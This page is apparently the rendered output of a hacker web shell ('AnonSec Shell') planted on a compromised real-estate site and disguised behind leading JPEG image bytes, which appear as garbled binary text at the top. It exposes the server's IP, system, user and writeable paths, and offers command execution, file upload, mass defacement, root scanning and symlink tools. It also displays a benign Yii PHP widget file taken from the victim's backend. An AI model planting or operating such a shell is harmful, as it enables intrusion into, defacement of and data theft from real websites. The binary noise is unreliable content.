JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/httpdocs/backend/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/httpdocs/backend/widgets//LanguageTabs.php
<?php
namespace backend\widgets;

use Yii;
use yii\base\Widget;
use yii\helpers\Html;
use yii\web\JsExpression;
use yii\bootstrap\Tabs;

use Zelenin\yii\widgets\Summernote\Summernote;

/*TODO: Change Summernote Bold, Italic, etc markup i.e.: "<span style="font-weight: bold;">" */

class LanguageTabs extends Widget{

    public $form;
    public $model;
    public $translations;
    public $fieldName;
    public $fieldType='textArea'; // textArea, textInput
    public $class='form-control';
    public $numberOfRows = 1;
    public $isHTMLEditor = false;
    public $showLaguageCodeAsLabel = false;
    public $allowHTMLEditorToUploadImages = false;
    public $uploadImageUrl = '';
    private $_anyTabWithError = false;
    private $_anyTranslationWithError = false;
    private $_tabItems = [];

    public function init(){
        foreach ($this->translations as $index => $translation) {
            $languageTabHasError = false;
            
            if (!empty(Yii::$app->request->post())) {
              $languageTabHasError = $this->languageTabHasError($translation);
              if (!$translation->validate()) {
                  $this->_anyTranslationWithError = true;
              }
            }
            
            $label = $this->getLabelForTab($translation);
            $this->_tabItems[] = [
                'label' => $label,
                'content' => $this->getTabContent($translation, $index, $translation->language),
                'active' => $this->isActiveTab($translation, $languageTabHasError),
                'linkOptions' => ['class' => $this->linkClass($translation, $languageTabHasError)],
            ];
        }
        parent::init();
    }

    public function run(){
        $label = Html::activeLabel($this->translations[0], $this->fieldName, ['class' => 'control-label']);
        $tabs = Tabs::widget([
            'encodeLabels' => false,
            'items' => $this->_tabItems,
            'options' => [
                'class' => 'translation-tabs'
            ],
        ]);
        $content = Html::tag('div', $label.$tabs, ['class' => 'form-group nav-tabs-custom language-tabs']);
        return $content;
    }


    private function getTabContent($translation, $index, $language){
        return $this->isHTMLEditor ?
                    $this->getHTMLEditor($translation, $index, $language)
                    :
                    $this->getTextareaEditor($translation, $index, $language);
    }

    private function getTextareaEditor($translation, $index, $language){
        $fieldType=$this->fieldType;
        return $this->form->field($translation,
                                        "[{$index}]{$this->fieldName}")
                                    ->$fieldType([
                                        'id'    => "{$this->fieldName}-{$language}-translation",
                                        'class' => $this->class,
                                        'rel'   => $language,
                                        'rows'  => $this->numberOfRows,
                                        ])
                                    ->label(false);
    }

    private function getHTMLEditor($translation, $index, $language){
        $toolbar = [
          ['style', ['bold', 'italic', 'underline', 'clear']],
          ['font', ['strikethrough', 'superscript', 'subscript']],
          ['para', ['ul', 'ol', 'paragraph']],
          ['insert', ['link']],
          ['misc', ['codeview']],
        ];
        if ($this->allowHTMLEditorToUploadImages) {
          $ti=null;
          foreach ($toolbar as $k => $group) {
            if ($group[0]==='insert') {
              $ti=$k;
            }
          }
          if ($ti !== null) {
            $toolbar[$ti][1][]='picture';
          }
        }
        $callbackOnImageUpload = "function(files) {
          var editorHTML = $(this);
          var data = new FormData();
          data.append('fileUploaded', files[0]);
          $.ajax({
            url: '{$this->uploadImageUrl}',
            method: 'POST',
            data: data,
            processData: false,
            contentType: false,
            success: function(data) {
                var imgURL = data.url;
                editorHTML.summernote('insertImage', imgURL);
            }
          });
        }";
        $htmlEditor = $this->form->field($translation,
                                "[{$index}]{$this->fieldName}")->widget(Summernote::className(), [
                                    'clientOptions' => [
                                        'toolbar' => $toolbar,
                                        'onImageUpload' => new JsExpression($callbackOnImageUpload),
                                    ],
                                    'options' => [
                                        'class' => 'translation-summernote form-control',
                                    ]
                                ]
                            )
                            ->label(false);
        return  $htmlEditor;
    }


    private function isActiveTab($translation, $languageTabHasError){
        $isMainLanguage = strtolower($translation->language) == strtolower(Yii::$app->params['appMainLanguage']);
        $isActiveLanguage = strtolower($translation->language) == strtolower(Yii::$app->language);
        return (($languageTabHasError && $isMainLanguage) ||
                ($isActiveLanguage && !$this->_anyTabWithError && !$this->_anyTranslationWithError)
               );
    }

    private function languageTabHasError($translation){
        $languageTabHasError = (count($this->form->validate($translation, [$this->fieldName])) > 0);
        if ($languageTabHasError) {
            $this->_anyTabWithError = true;
        }
        return $languageTabHasError;
    }

    private function linkClass($translation, $languageTabHasError){
        $linkClass = $translation->language;
        if($languageTabHasError){
            $linkClass .= ' text-red';
        }
        else if($this->isEmptyField($translation)){
            $linkClass .= ' text-muted';
        }
        return $linkClass;
    }

    private function isEmptyField($translation){
        return (!isset($translation->{$this->fieldName})||
                empty($translation->{$this->fieldName}) ||
                $translation->{$this->fieldName}=='<p><br></p>'
                );
    }

    private function getLabelForTab($translation){
        return $this->showLaguageCodeAsLabel ?
                    $translation->language
                    :
                    Yii::$app->params['frontendLanguages'][$translation->language];
    }
}





Anon7 - 2022
AnonSec Team